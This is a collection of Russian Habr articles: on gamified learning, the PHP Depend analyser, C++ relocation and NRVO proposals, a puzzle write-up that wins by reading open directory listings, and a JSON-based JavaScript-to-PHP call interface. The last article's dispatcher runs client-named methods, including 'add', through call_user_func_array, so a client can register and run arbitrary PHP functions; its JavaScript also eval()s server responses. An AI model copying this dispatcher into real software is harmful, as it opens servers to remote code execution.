Интересная механика, которую мы попробовали в первый раз совсем недавно. Заключается в том, что серия заданий в курсе или сам курс создаются в формате игры. [Наш пример](http://htmlacademy.ru/courses/66/run/9) достаточно простой: мы создали серию заданий на «перетягивание курочки» с помощью изменения приоритета селекторов в курсе про каскадность.
Но ещё более интересный пример недавно облетел всё сообщество разработчиков и дизайнеров. Это игра [CSS Diner](http://flukeout.github.io/), посвящённая изучению селекторов. Ваша задача — с помощью подходящих селекторов выбрать либо тарелки, либо лежащие на них фрукты.
#### 7. «Сторителлинг»
Сторителлинг — это многогранная механика. Например, когда задания в курсе или даже несколько курсов объединены общей идеей или сценарием. Например, курс про селекторы объединён темой биатлона и идеей «стрельбы селекторами по мишеням». Cторителлинг может проявляться и в едином оформлении заданий, и в сюжетных ходах внутри курса, и так далее.
Задача сторителлинга простая — добавить эмоциональную составляющую, пробудить интерес, желание узнать «чем в итоге всё закончилось-то?» и дойти до конца курса.
Сторителлинг отлично сочетается с мини-играми. Например, в курсе про каскадирование [финальное задание](http://htmlacademy.ru/courses/66/run/18) перекликается с серией заданий про «битву за курочку» и мы получаем драматическую развязку курса с учеником в роли спасителя и супергероя.
#### 8. Достижения и очки
Это достаточно известная механика: пользователю за выполнение определённых действий или за получение каких-либо результатов выдаются виртуальные награды-значки. Мы тоже используем достижения. Но мы считаем, что эффект от применения достижений не так высок. Это, скорее, приятное дополнение к арсеналу важных игровых механик.
#### 9. Рейтинги
Тоже достаточно известная механика, когда создаются и публикуются рейтинги лучших учеников, игроков и так далее. Эта механика может быть достаточно эффективной, потому что пробуждает дух соревновательности. Проблема нашего рейтинга в том, что туда очень трудно попасть, так как в нём более 20 тысяч активных участников. Поэтому и его эффективность не такая высокая.
Но можно вводить разные рейтинги, куда попасть намного легче, чтобы любители соревноваться могли участвовать в таких рейтингах на всём протяжении обучения. Например, рейтинг новичков или рейтинги в других категориях.
#### 10. Открытые профили
Этот приём мы тоже относим к игровым механикам, так как он эксплуатирует некоторые человеческие качества и влияет на мотивацию. Конечно, это зависть и тщеславие, когда ты показываешь всем чего добился, а кто-то может зайти в твой профиль и захотеть столько же достижений как у тебя.
Но наверное, главный эффект можно назвать так: «раз они смогли, то и я смогу». Когда ученик видит огромное количество людей, таких же как он, которые справились со сложным курсом, то он понимает, что тоже справится.
#### Другие механики
Есть некоторые механики, которые мы не применяем, но очень хотели бы попробовать.
Первая такая механика — игровая валюта, которую можно тратить на какие-либо ценные вещи, например, оплачивать подписку. Есть примеры, когда введение такой механики повысило процент завершающих курсы в несколько раз. Принцип похож на достижения и очки, просто награды более ценные.
Вторая механика — это так называемые периодические задания, которые призваны помочь заниматься с регулярной периодичностью и не бросать обучение. Эта механика часто применяется в играх, где есть задания, которые можно выполнять раз в день или раз в неделю (называются «дейлики» или «виклики») и получить какую-то награду. И каждый день или неделю эти задания обновляются. Такой подход мотивирует игроков заходить в игру с определённой периодичностью.
В обучении этот приём нужно применять аккуратно, чтобы не затормозить тех, кто учится быстрее.
#### Комбинирование механик
Многие механики очень хорошо сочетаются друг с другом. У нас получилось создать целую комбинацию:
1. головоломки;
2. перфекционизм;
3. достижения;
4. рейтинг;
5. открытые профили.
Сначала ученик разгадывает головоломку, причём разгадать её он пытается идеально, на 100%. За идеальные решения он получает достижения: «1 идеальное испытание», «20 идеальных испытаний» и так далее. Количество достижений влияет на позицию ученика в рейтинге. А попав в рейтинг, он может поделиться своим профилем с друзьями, показав, что он в топе, а также свою россыпь достижений и прогресс обучения. И это только одна из комбинаций.
#### Эффект от использования
Влияют ли как-то игровые механики на эффективность обучения? Есть какие-то точные цифры? Стоит ли их внедрять?
Хорошие вопросы, но чёткие ответы есть не на все.
На эффективность обучения механики точно влияют, достаточно вспомнить пример с перфекционизмом, который кардинально повышает уровень вовлечённости: от 20 минут до 6 часов на прохождение испытания.
C точными цифрами ещё сложнее. Мы не можем запустить версию без игровых механик, привлечь туда много учеников, замерить различные показатели и сравнить их с показателями версии с игровыми механиками.
Но есть качественные оценки, которые приходят в виде отзывов от наших учеников, например, вот такие:
Когда мы видим подобные отзывы, то понимаем, что двигаемся в правильном направлении, обучение действительно затягивает и доставляет удовольствие, а игровые механики внедрять и использовать стоит. | https://habr.com/ru/post/219637/ | null | ru | null |
# Подробнее об анализаторе исходного кода PHP Depend
 В одном из обзоров на Хабре уже упоминался анализатор кода PHP Depend (<http://pdepend.org/>). В данном материале хотелось бы рассмотреть небольшой пример его использования и интерпретации результатов.
#### Установка
Итак, начнем с начала – с установки. Для работы PHP Depend необходимо наличие PEAR.
Регистрируем канал pdepend в pear:
`94:bin sergeypanarin$ ./pear channel-discover pear.pdepend.org
Adding Channel "pear.pdepend.org" succeeded
Discovery of channel "pear.pdepend.org" succeeded`
Устанавливаем:
`94:bin sergeypanarin$ ./pear install pdepend/PHP_Depend-beta
Did not download optional dependencies: pecl/imagick, use --alldeps to download automatically
pdepend/PHP_Depend can optionally use package "pecl/imagick" (version >= 2.2.0b2)
downloading PHP_Depend-0.9.9.tgz ...
Starting to download PHP_Depend-0.9.9.tgz (291,705 bytes)
.............................................................done: 291,705 bytes
install ok: channel://pear.pdepend.org/PHP_Depend-0.9.9`
Проверяем правильность установки:
`94:bin sergeypanarin$ ./pdepend --version
PHP_Depend 0.9.9 by Manuel Pichler`
Запускаем тестовый прогон на исходниках самого анализатора:
`94:bin sergeypanarin$ ./pdepend --summary-xml=/Users/sergeypanarin/PDepend/summary.xml --jdepend-chart=/Users/sergeypanarin/PDepend/jdepend.svg --overview-pyramid=/Users/sergeypanarin/PDepend/pyramid.svg /Users/sergeypanarin/PEAR/PEAR/PHP/Depend
PHP_Depend 0.9.9 by Manuel Pichler
Parsing source files:
............................................................ 60
............................................................ 120
................................. 153
Executing CyclomaticComplexity-Analyzer:
............................................................ 1200
...... 1335
Executing ClassLevel-Analyzer:
............................................................ 1200
1204
Executing CodeRank-Analyzer:
........ 180
Executing Coupling-Analyzer:
............................................................ 1200
................. 1545
Executing Dependency-Analyzer:
......................................................... 1160
Executing Hierarchy-Analyzer:
............................................................ 1200
........ 1370
Executing Inheritance-Analyzer:
...................... 443
Executing NodeCount-Analyzer:
........................................................ 1123
Executing NodeLoc-Analyzer:
............................................................ 1200
... 1276
Executing NPathComplexity-Analyzer:
............................................................ 1200
...... 1335
Generating pdepend log files, this may take a moment.
Time: 00:27; Memory: 48.00Mb`
Получившиеся файлы можно скачать отсюда — [results\_0.zip](http://narod.ru/disk/16638352000/results_0.zip.html)
#### Интерпретация результатов
В состав результатов входят 3 файла:
1. summary.xml – полные результаты анализа исходников
2. jdepend.svg
3. pyramid.svg
На двух последних файлах остановимся подробнее.
##### jdepend.svg
Каждый из «шариков» отображает файлы определенного пакета-папки (в svg-файле при наведении на шарик всплывает подсказка с названием пакета). Размер шарика определяется количеством абстактных и конкретных классов в пакете.
По оси Х откладываются значения *коэффициента абстракции* (abstraction ratio), по оси Y – *коэффициента нестабильности* (instability ratio).
Прямая изображает оптимальное соотношение между этими коэффициентами.
**Коэффициент абстракции** (abstraction ratio, A) – отношение количества абстрактных классов и интерфейсов к общему числу классов в анализируемом пакете. Принимает значение от 0 до 1. Если равно 0, то пакет абсолютно конкретный, если 1 – то абсолютно абстрактный.
**Коэффициент центростремительной связности** (afferent couplings, Ca) – количество пакетов, которые зависят от классов текущего пакета.
**Коэффициент центробежной связности** (efferent couplings, Ce) – количество пакетов, от которых зависят классы текущего пакета.
**Коэффициент нестабильности** (instability ratio, I) – отношение коэффициента центробежной связности к сумме коэффициентов связности: I = Ce / (Ce + Ca). Показывает устойчивость пакета к изменениям. Принимает значение от 0 до 1. Если равен 0, то считается абсолютно стабильным пакетом (вообще не зависит от других пакетов), если 1 – то абсолютно нестабильным (полностью зависимый пакет, от которого не зависят другие).
##### pyramid.svg
Данные отображены в виде пирамиды, потому что на ее внешних гранях располагаются коэффициенты, полученные как отношение значений характеристики с уровня ниже и текущего уровня. Значения коэффициентов «подкрашены» в зависимости от попадания его в диапазон значений – низкий, средний и высокий.
Т.е., например, 0.176 = CYCLO / LOC.
Теперь подробнее об используемых аббревиатурах.
Слева:
**CYCLO** (Cyclomatic Complexity) – цикломатическая сложность пакетов (на основе числа ветвлений в коде типа if, for, foreach).
**LOC** (Lines Of Code) – число строк кода.
**NOM** (Number Of Methods+functions) – число методов классов + число функций.
**NOC** (Number Of Classes) – число классов.
**NOP** (Number Of Packages) – число пакетов.
**AHH** (Average Hierarchy Height) – средняя глубина иерархии.
**AND** (Average Number of Derived classes) – среднее число классов-наследников.
Справа:
**FANOUT** (Number of Called Classes) – число использований классов (по-видимому, число созданий объектов классов).
**CALLS** (Number of Operation Calls) – число вызовов методов и функций.
P.S. С наступившим Новым Годом всех и наступающим Рождеством! | https://habr.com/ru/post/80110/ | null | ru | null |
# Перемещение — прошлый век! Альтернативы std::move в «C++ будущего»
Каждый раз, когда мы пишем класс, управляющий ресурсами, мы задумываемся о том, что, скорее всего, для него придётся писать move-конструктор и move-присваивание. Ведь иначе объекты такого типа становятся неуклюжими, как `std::mutex`, ими тяжело пользоваться на практике: ни вернуть из функции, ни передать в функцию по значению, ни положить в вектор — а если положить его в другой класс как один из членов, то тот класс также «заболевает».
Положим, мы преодолели свою лень (хотя в Rust таких проблем нет!) и садимся писать move-операции для нашего класса. Проблема в том, что move-семантика в C++ имеет фундаментальное ограничение: каждый владеющий ресурсами тип с move-операциями должен иметь пустое состояние, то есть состояние с украденными ресурсами. Его нужно описывать в документации и предоставлять ему поддержку, то есть тратить время и силы на то, что нам не нужно.
Для абстрактных типов данных пустое состояние обычно бессмысленно — если у объекта украли его ресурсы, то он не сможет выполнять свои обычные функции. Но мы вынуждены это делать, чтобы реализовать move-семантику. Для некоторых типов пустое состояние недопустимо: `open_file` (в противовес теоретическому `file`), `not_null_unique_ptr` (в противовес `unique_ptr`).
Говоря [словами](https://youtu.be/SGdfPextuAU?t=1465) Arthur O'Dwyer, мы заказывали телепорт, а нам дали «вас клонируют и убивают первоначальную копию». Чтобы вернуть себе телепорт, проходите под кат!
Я опишу несколько предложений к стандарту C++, которые объединены одной темой: свести к минимуму число перемещений. Но для начала, ещё раз: почему меня должно это заботить?
1. Я не хочу тратить усилия на реализацию move-семантики для всех типов, владеющих ресурсами
2. Я не хочу иметь во всех своих типах пустое состояние. Часто оно не к месту. Бывает, что его сложно или невозможно добавить. И всегда это лишние усилия на поддержку
3. Даже если move-семантика реализуема, она может быть непозволительна из-за того, что мы хотим раздать указатели на этот объект
4. Даже если перемещение допустимо, будет затрачено время на то, чтобы «занулить» первоначальный объект, и потом удалить его по всем правилам. И нет, компиляторы не могут это оптимизировать: [раз](https://www.youtube.com/watch?v=xxta6LEn9Hk), [два](https://youtu.be/SGdfPextuAU?t=1200)
Итак, поехали.
P1144: Trivially relocatable
----------------------------
[Это предложение](https://wg21.link/P1144R4) к стандарту, за авторством Arthur O'Dwyer, добавляет новый атрибут `[[trivially_relocatable]]`, которым можно пометить типы, которые можно передавать более эффективно, чем через move. А именно, мы копируем объект на новое место через `memcpy` и *забываем* про первоначальный объект, не вызывая для него деструктор. Правда, таким образом нельзя перемещать локальные переменные, так как компилятор вызывает их деструкторы за нас, не спрашивая, и у этой проблемы нет простого решения.
Атрибут можно применить к вашим классам при их определении. На практике атрибут будет нужен нечасто: компилятор автоматически помечает класс `[[trivially_relocatable]]`, если все его члены являются таковыми, и вы не определили кастомные move-конструктор с деструктором (rule of zero). Классы стандартной библиотеки будут помечены `[[trivially_relocatable]]` для повышения производительности существующего кода, однако какие именно будут помечены, оставляется на усмотрение реализации. `std::vector` и прочие будут использовать новую функцию `relocate_at`, которая делает relocation или move, в зависимости от того, что тип поддерживает.
```
template
class [[trivially\_relocatable]] unique\_ptr { ... };
std::vector> v;
for (auto x : ...) {
// Старые unique\_ptr перемещаются через relocation, а не move
v.push\_back(std::make\_unique(x));
}
```
С proposal есть несколько проблем, которые обсуждаются:
* Можно пометить класс как `[[trivially_relocatable]]`, даже если его члены таковыми не являются. Например, таким образом можно сломать `std::mutex`, обернув его в свой `[[trivially_relocatable]]` класс
* У класса всё равно должен быть реализован конструктор копирования (будем добиваться отмены ограничения)
* Trivially relocatable типы всё равно нельзя передавать в регистрах. Например, `std::unique_ptr` по-прежнему будет передаваться в функции как указатель на указатель
P2025: Guaranteed NRVO
----------------------
Рассмотренный выше proposal применим тогда, когда объект приходится перемещать, но можно сделать это эффективнее, чем сейчас. Тем не менее, в том случае указатели на объект всё равно «ломаются». В отличие от него, [P2025](https://wg21.link/P2025R0) позволяет устранить саму причину перемещений в некоторых случаях.
C++17 исключил перемещения, когда мы вычисляем значение в `return` и тут же возвращаем его. Это называется Return Value Optimization (RVO). P2025 исключает также перемещения, когда мы возвращаем локальную переменную (NRVO). При этом она может быть не-перемещаемой, вроде `std::mutex` или наших абстрактных типов данных:
```
widget setup_widget(int x) {
return widget(x); // OK, C++17
}
widget setup_widget(int x) {
auto w = widget(x);
w.set_y(process(x));
return w; // OK, P2025
}
```
Кстати, proposal мой :)
P0927: Lazy parameters
----------------------
Фактически, [предлагается](https://wg21.link/P0927R2) аналог `@autoclosure` из Swift. Параметр функции может быть помечен специальным образом, чтобы соответствующий аргумент при вызове автоматически оборачивался в лямбду. Перемещение при таком способе передачи параметров не происходит, объект создаётся сразу там, где нужно:
```
void vector::super\_emplace\_back([] -> T value) {
void\* p = reserve\_memory();
new (p) T(value());
}
vector v;
v.super\_emplace\_back(widget()); // нет move
v.super\_emplace\_back([&] { return widget(); }); // под капотом
```
P0573: Abbreviated lambdas
--------------------------
[Это решение](https://wg21.link/P0573) более общее, чем предыдущее, и затрагивает также другие проблемные темы. Сокращённый синтаксис лямбда-выражений сделает работу с коллекциями и «ленивыми параметрами» в C++ такой же приятной, как и в ~~нормальных~~ других языках. Правда, с синтаксисом P0573 есть проблемы, но я готов предложить несколько других вариантов, к тому же, более коротких:
```
// Текущий синтаксис
auto add = [&](auto&& x, auto&& y) { return x + y; };
auto dbl = [&](auto&& x) { return x * 2; };
auto life = [&] { return 42; };
// P0573
auto add = [&](x, y) => x + y;
auto dbl = [&](x) => x * 2;
auto life = [&]() => 42;
// Мой #1: из Rust
auto add = |x, y| x + y;
auto dbl = |x| x * 2;
auto life = || 42;
// Мой #2
auto add = x y: x + y;
auto dbl = x: x * 2;
auto life = :42;
```
На этом всё! Желаю всем предложениям исправить пробелы и быть принятыми в C++23. Любые вопросы, замечания, пожелания оставляйте в комментариях. | https://habr.com/ru/post/484380/ | null | ru | null |
# Как я technicalseo.expert проходил (уровень 2)
Введение
--------
Продолжение исследования головоломки [technicalseo.expert](https://technicalseo.expert/) которая будет сломана самым нетривиальным образом.
Предыдущий уровень и чуть подробнее о самой головоломке в первом посте: [ссылка](https://habr.com/ru/post/597875/)
### Предупреждение!
Если кто-то хочет лично пройти этот челендж - дальше читать противопоказано. Будут скрины и прочее.
Кроме того, прошу прощение у SEO, я не совсем понимаю суть того, что я сделал с точки зрения SEO. Если кого обидел - извиняюсь.
Уровень 2
---------
Ломать уровень 2 начнем с финального сообщения уровня 1. Именно там будет ссылка на начало второго уровня. Какая? Надеюсь читатели первой части уже догадались.
Переходим в наш любимый Developer Tool нашего любимого Google Chrome и смотрим на любую интересную активность. Но интересная активность - это дождь из нулей и единиц. Попытаемся найти это дело на странице.
```
body {background: black;}
function draw(){
ctx.fillStyle="rgba(0, 0, 0, 0.05)",ctx.fillRect(0,0,c.width,c.height),ctx.fillStyle="#0F0",ctx.font=font\_size+"px arial";
for(var a=0;a<drops.length;a++)
{
var b=j[Math.floor(Math.random()\*j.length)];
ctx.fillText(b,a\*font\_size,drops[a]\*font\_size),drops[a]\*font\_size>c.height&&Math.random()>.975&&(drops[a]=0),drops[a]++
}
}
var c=document.getElementById("c"),ctx=c.getContext("2d");
c.height=window.innerHeight,c.width=window.innerWidth;
var j="01110100 01101000 01100101 00100000 01100001 01100100 01110110 01100101 01101110 01110100 01110101 01110010 01100101 00100000 01100011 01101111 01101110 01110100 01101001 01101110 01110101 01100101 01110011 00100000 01100001 01110100 00100000 00101111 01110000 01101100 01100001 01111001 01100101 01110010 01110100 01110111 01101111 00101111 01110011 01110100 01100001 01110010 01110100";
j=j.split("");
for(var font\_size=10,columns=c.width/font\_size,drops=[],x=0;x<columns;x++)
drops[x]=1;
setInterval(draw,33);
```
Находим подозрительные цифры и сразу отправляем их в скрипт из первой части (хотя формально мы еще не приступили ко второй)
```
kek = []
lol = '01110100 01101000 01100101 00100000 01100001 01100100 01110110 01100101 01101110 01110100 01110101 01110010 01100101 00100000 01100011 01101111 01101110 01110100 01101001 01101110 01110101 01100101 01110011 00100000 01100001 01110100 00100000 00101111 01110000 01101100 01100001 01111001 01100101 01110010 01110100 01110111 01101111 00101111 01110011 01110100 01100001 01110010 01110100'
for x in lol.split():
kek.append(x)
lol=''
for x in kek:
lol+=chr(int(x,2))
print(lol)
```
В итоге получаем сообщение: "the adventure continues at /playertwo/start"
Переходим по ссылке и видим видео. Звездные воины? Еще одна убитая франшиза. Но поехали!
Ломаем игру полностью!
----------------------
Дальше начинается самая волшебная часть. Игра была сломана и по сути не проходилась. Тем не менее я могу похвастаться одним из самых быстрых прохождения - 20 минут, 15 из которых я пил чай с конфеткой на кухне, чтобы отдохнуть. Если кто-то ждет нормального прохождения с разгадыванием задач от автора - не в этой статье.
Автору игры и даже одному из тестеров я сообщил об обнаруженной уязвимости - но никакой реакции от них не последовало. Кроме того, беря во внимание характер данного сайта, а именно ломание "системы" и решение IT задачек, имею полное моральное право считать эту часть игры не багом, а фичей.
Поэтому пристегните ремни - мы уходим в сумрак.
Ближе к сути...
---------------
Начинаем играть с ссылками... И выигрываем джекпот!
А вот и наш миллион!Шикарно! Ссылка "/playertwo/" гораздо интереснее самого видео. Там же видим ответ на первую задачу о которой говорили лего труперы, что лишний раз подтверждает нашу догадку. Штош... Это будет легкая прогулка.
Копируем содержимое таблицы в Google Tables и вытаскиваем расширения с помощью формул:
Фильтруем самое интересное и получаем...
Остается проверить 17 страничек, благо в первом столбце у нас сплошные гиперссылки и пройти по ним не составит никакого труда. В итоге обнаруживаем на одной из страничек следующее послание:
Ниже еще немного буковок и поздравлений с прохождением второго уровня. А, и еще подарок - бейджик )
Я его точно заработалВторой уровень позади. Остался третий! Где на него ссылка? В robots.txt
```
# Start Level 3 Here: https://technicalseo.expert/final-problem/dontblink
## Note: Level 1 and 2 have ~10-20 challenges to complete.
## Level 3 has 10-15 challenges. I opened up level 3, since it's designed to be unnaturally hard.
user-agent: *
Disallow:
sitemap: /sitemap.xml
# Level One Clue: The spaces between words are removed, no hyphens.
#
# /\
# / \
# / /\ \
# / ____ \
# /_/ \_\
##############################
# Created by:
# Alexis Sanders: https://twitter.com/AlexisKSanders
#
# Thank you to our part 2 beta testers:
# Max Prin: https://twitter.com/maxxeight
# Dave Thomas: https://www.linkedin.com/in/dave-thomas-2448058/
# Brian Barna: https://www.linkedin.com/in/brianbarna/
#
# Thank you to our part 1 beta testers:
# Masaki Okazawa: https://www.linkedin.com/in/masakiokazawa/
# Steve Valenza: https://www.linkedin.com/in/stevevalenza/
# Max Prin: https://twitter.com/maxxeight
# Kyla Becker: https://www.linkedin.com/in/kylabecker
```
Сейчас я уже показываю полную его версию, мы уже готовы к третьему испытанию!
Мораль и PS
-----------
В первую очередь хотел спросить у хабр-сообщества: честно ли я считаю себя прошедшим второй уровень? На мой взгляд - да, но если вы думаете иначе - хотел бы услышать вашу позицию, возможно, я изменю свое мнение.
Что хочу сказать после второго уровня. Я полностью удовлетворен стилем прохождения, но разочарован по сути. Ожидал загадок, а получил эксплуатацию уязвимости. С другой стороны, это лишний раз подтверждаем, что надо быть внимательным при настройки серверов, иначе можно показать немного лишнего.
Кроме того, это по всей видимости принципиальная позиция в настройки ПО автора этой задачи, это можно увидеть и по реакции на ссылку: "/fr/" - кусочек от длинной ссылки на пазл "/fr/bienvenueaupaysdesmerveilles" из первой части.
И для совсем любознательных - нет, третья часть будет скрыта лучше.
"/final-problem/dontblink" полная ссылка, а уязвимый кусочек "/final-problem/" ведет на страницу:
Скорее всего, я не первый, кто заметил эту уязвимость, поэтому у меня есть еще одна причина ее все таки показать. Надеюсь из этой задачи мы вынесем очень важный урок, важнее тех скилов, которые заявлялись для ее решения. | https://habr.com/ru/post/597879/ | null | ru | null |
# Интерфейс Javascript < == > PHP
Удивишись, что [мой хабраюмор](http://habrahabr.ru/blog/exhaust/45782.html) хабралюди понимают с трудом, перешел к написанию ещё одного интересного хабратопика. :)
Хочу предложить один удобный метод для взаимодействия Javascript с PHP.
Можно в PHP добавить класс, с возможность 'удаленного' запуска оттуда функций с параметрами.
### Передача параметров
Каким образом лучше всего передать функции на вход PHP?
Наиболее подходящий способ — с помощью массива.
Как передать массив? Самый простой и наиболее оптимальный метод (учитывая, что мы имеем дело с Javascript) — это JSON. Передача параметров на запуск будет выглядеть, например:
> {
>
> «init\_timer»:[],
>
> «savedb»:[200],
>
> «check\_timer»:[]
>
> }
>
> что соответствует:
>
> init\_timer();
>
> savedb(200);
>
> check\_timer();
Преобразовать это в массив на стороне PHP можно очень просто — с помощью json\_decode. Осталось только разобрать полученный массив по полочкам, а полученный результат вывести обратно в виде JSON клиенту.
### User Interface
Реализовал я это с помощью PHP-класса UserInterface.
> class UserInterface{
>
> private $if;
>
> public $result=array();
>
>
>
> function add($groupname,$if){
>
> $this->if[$groupname][]=$if;
>
> }
>
>
>
> function \_\_call($name, $args){
>
> if (isset($this->if[$name]))
>
> foreach ($this->if[$name] as $func)
>
> !is\_array($res=&call\_user\_func\_array($func,$args)) ||
>
> $this->result=array\_merge\_recursive($this->result,$res);
>
> }
>
>
>
> function run($info){
>
> if (is\_array($info))
>
> foreach ($info as $func=>$parameters)
>
> !is\_array($res=&call\_user\_func\_array(array(&$this, $func),$parameters)) ||
>
> $this->result=array\_merge\_recursive($this->result,$res);
>
> }
>
> }\* This source code was highlighted with [Source Code Highlighter](http://poison.qsh.ru).
В этот класс мы будем добавлять новые методы (функции), а затем с помощью небольшой доработки, научим Javascript «видеть» и запускать их, получая результаты их работы.
Класс имеет следующие функции:
— *$this->add({название метода},{функциия})* позволяет добавляет новый метод. Если метод существует, добавляет в него ещё одну функцию.
— *$this->{название метода}({параметры})* идёт вызов всех добавленных функций в методе.
— *$this->run({массив})* запускает последовательно на выполнение несколько методов, используя параметры из массива.
Сразу сделаю ремарочку для непрофессионалов:
`!is_array($res=&call_user_func_array($func,$args)) || $result=array_merge_recursive($result,$res);`
равносильно
`$res=&call_user_func_array($func,$args);
if(is_array($res))
$result=array_merge_recursive($result,$res);`
Пример:
Необходимо создать интерфейс работы с БД с получением информации.
Для начала инициализируем интерфейс, которым будем пользоваться:
> $UImethod = new UserInterface();
Добавляем группу, которая должна добавлять информацию в БД (savedb):
> class db{
>
> static function save($num){
>
> //Функция для записи в БД
>
> //$num->...
>
> }
>
>
>
> static function load($num){
>
> //Функция для загрузки из БД
>
> //$db<-...
>
> return array(«DBresult»=>$db);
>
> }
>
> }
>
>
>
> $UImethod->add('savedb','db::save');
>
> $UImethod->add('loaddb','db::load');
Запуск будет осуществляться с помощью функции:
> $UImethod->savedb($xxx);
При этом, если вдруг нам потребуется добавить модуль создания логов, то обработку можно легко добавить в эту же группу:
> class log{
>
> static function add\_savelog($num){
>
> //Добавить новый лог
>
> //...
>
> }
>
> }
>
>
>
> $UImethod->add('savedb','log::add\_savelog');
Теперь будет происходить последовательный запуск обеих функций, при запуске группы 'savedb'.
### Работа Javascript c классом UserInterface
Сначала хочу немного остановиться на методе *run*. Это нам поможет в заимодействии.
Метод *run* позволяет запускать несколько групп с разными переметрами последовательно. Принимает названия групп он в виде массива:
> $a=array(
>
> «savedb»=>array(200)
>
> «loaddb»=>array(200)
>
> )
Тогда, запустив *$UImethod->run($a);* можно сохранить в базу данных — 200, затем её считать с помощью *'loaddb'*.
Вы наверное заметили, что *db::load* возвращает результаты в виде массива. Эти результаты инкапсулируются(добавляются) или простыми словами попадают в общий массив $this->result. В результате, мы будем использовать этот массив, как ответ JavaScript'у на запрос.
Тоесть, например, запустив *loaddb(200) и loaddb(300)* — мы получим на выходе массив, имеющий заполненные поля: 'DBresult'=>('200'=>… и '300'=>...).
Ну а теперь самое главное — это реализвация декодирования (на вход) и кодирования (на выход) JSON массивов в PHP, с запуском вызываеммых с помощью Javascript методов:
> if (!isset($\_REQUEST['method']))
>
> die();
>
> $functions=json\_decode($\_REQUEST['method'],TRUE);
>
> $UImethod->run($functions);
>
> echo json\_encode($UImethod->result);
### Запуск методов из JavaScript
Добрались до сладкого.
>
>
> «text/javascript»</font>><br/>
> <font color="#008000">//Функция, реализующая AJAX запрос на сервер</font><br/>
> <font color="#008000">//Параметры URL, JS-функция, дополнительные параметры, [следующий URL, JS-func...]</font><br/>
> <font color="#0000ff">function</font> ajax\_load(url,parcer,par,next){<br/>
> <font color="#0000ff">var</font> req, ab, done=0;<br/>
> <font color="#0000ff">this</font>.request=<font color="#0000ff">function</font>(){<br/>
> <font color="#0000ff">if</font> (window.XMLHttpRequest)<br/>
> ajaxRequest = <font color="#0000ff">new</font> XMLHttpRequest();<br/>
> <font color="#0000ff">else</font> <font color="#0000ff">if</font> (window.ActiveXObject){<br/>
> ajaxRequest = <font color="#0000ff">new</font> ActiveXObject(<font color="#A31515">«Msxml2.XMLHTTP»</font>);<br/>
> <font color="#0000ff">if</font> (!ajaxRequest)<br/>
> ajaxRequest = <font color="#0000ff">new</font> ActiveXObject(<font color="#A31515">«Microsoft.XMLHTTP»</font>);<br/>
> }<br/>
> <font color="#0000ff">return</font> ajaxRequest;<br/>
> }<br/>
> <br/>
> <font color="#0000ff">this</font>.ReqStatus=<font color="#0000ff">function</font>() {<br/>
> <font color="#0000ff">if</font> (req.readyState == 4) {<br/>
> clearTimeout(ab);<br/>
> <font color="#0000ff">if</font> (req.status == 200){<br/>
> parcer(req,par);<br/>
> <font color="#0000ff">if</font> (next)<br/>
> ajax\_load(next[0],next[1],next[2],next[3]);<br/>
> } <font color="#0000ff">else</font><br/>
> alert(<font color="#A31515">«AJAX Error: \n»</font> + req.statusText + <font color="#A31515">"\n"</font> + url);<br/>
> }<br/>
> }<br/>
> <br/>
> <font color="#0000ff">if</font> (!url)<br/>
> <font color="#0000ff">return</font> parcer(par);<br/>
> <br/>
> req=<font color="#0000ff">this</font>.request();<br/>
> req.onreadystatechange = <font color="#0000ff">this</font>.ReqStatus;<br/>
> req.open(<font color="#A31515">«GET»</font>, url, <font color="#0000ff">true</font>);<br/>
> req.send(<font color="#0000ff">null</font>);<br/>
> ab = window.setTimeout(<font color="#0000ff">function</font>(){req.abort();}, 10000);<br/>
> <font color="#0000ff">return</font> req;<br/>
> }<br/>
> <br/>
> <font color="#008000">//Функция, которая кодирует запрос в JSON формат (<i>func(param) -> «func»:[param]</i>) и отсылает его на сервер (делая запрос «JSON.php?method=...»)</font><br/>
> <font color="#0000ff">function</font> server\_eval(mod,ret){<br/>
> mod=mod.replace(/\s\*([\w\d\_]+)\s\*\(([\w\d\_. \\,\[\]<font color="#A31515">"]\*)\)\s\*;?/gi,'"</font>$1<font color="#A31515">":[$2],').replace("</font><font color="#A31515">'",'</font><font color="#A31515">"');<br/>
> mod='{'+mod.substr(0,mod.length-1)+'}';<br/>
> ajax\_load("</font>JSON.php?method="+mod,ret,<font color="#0000ff">null</font>);<br/>
> }<br/>
> <br/>
> <font color="#008000">//Обработчик запроса</font><br/>
> <font color="#0000ff">function</font> time\_result(res){<br/>
> db=eval(<font color="#A31515">'('</font> + res.responseText + <font color="#A31515">')'</font>);<br/>
> <font color="#0000ff">document</font>.write(db[<font color="#A31515">'DBresult'</font>]);<br/>
> }<br/>
> <br/>
> <font color="#008000">//Запрос на сервер с обработчиком ответа time\_result</font><br/>
> server\_eval(<font color="#A31515">'savedb(200);loaddb(200);loaddb(300);'</font>,time\_result);<br/>
>
>
> \* This source code was highlighted with [Source Code Highlighter](http://poison.qsh.ru).
Собственно и всё.
*server\_eval* посылает запрос в *UserInterface* файла *JSON.php* и при получении ответа, запускает функцию *time\_result*, передавая ответ в параметрах. При этом можно осуществлять совершенно различные запросы в интерфесе и обрабатывать результаты, как душе будет угодно.
### Для чего это можно использовать
На данной стадии реализации у меня была проблемма — сделать универсальную библиотеку, в которой возможно изменение-добавление новых функций несколькими разработчиками.
Примеры:
1) Опять вернусь к разработке космической игры.
Игрок выбрал кораблю другую цель. Идёт передача выбора цели. «ship\_new\_target(180,320);return\_space\_objects(1220,1334);». 180- корабль, а 320- новая цель.
Новая цель может оказаться чем угодно. В случае, если это корабль, нам необходимо будет выделить её как врага. Если это станция, мы выделим её как станцию и автоматически пошлём корабль лететь на неё. Если это планета, тогда мы её выделять вообще не будем.
При этом мы можем добавить любой новый тип объекта не меняя кода, а просто добавив необходимые вызовы и как на них необходимо реагировать, когда в них будет необходимость.
Кстати говоря, функция *ship\_new\_target* ничего не возвращает. А вот функция *return\_space\_objects* занимается тем, что создаёт в общем массиве массив объектов, лежащих рядом с координатами (1220,1334). При этом — опять-же, обрабатываются, например порталы и добавляются в массив (используя некоторые правила). Затем, корабли, станции, вызывая последовательно функции метода *return\_space\_objects* и добавляя результаты DB-выборок в общий массив.
Таким образом мне проще общаться со всеми объектами и код у меня не разбросан по php-файлам, а лежит каждый участок в своём месте.
2) Форум.
Простой пример — У каждого поста есть свой ID. У каждой темы тоже есть свой ID. Они не пересекаются.
При любом ответе, вызывается функции 'add\_reply(12345,«comment»);return\_topic(12345);'.
В add\_reply имеется несколько функций — функция добавление к топику, функция добавления к комментарию.
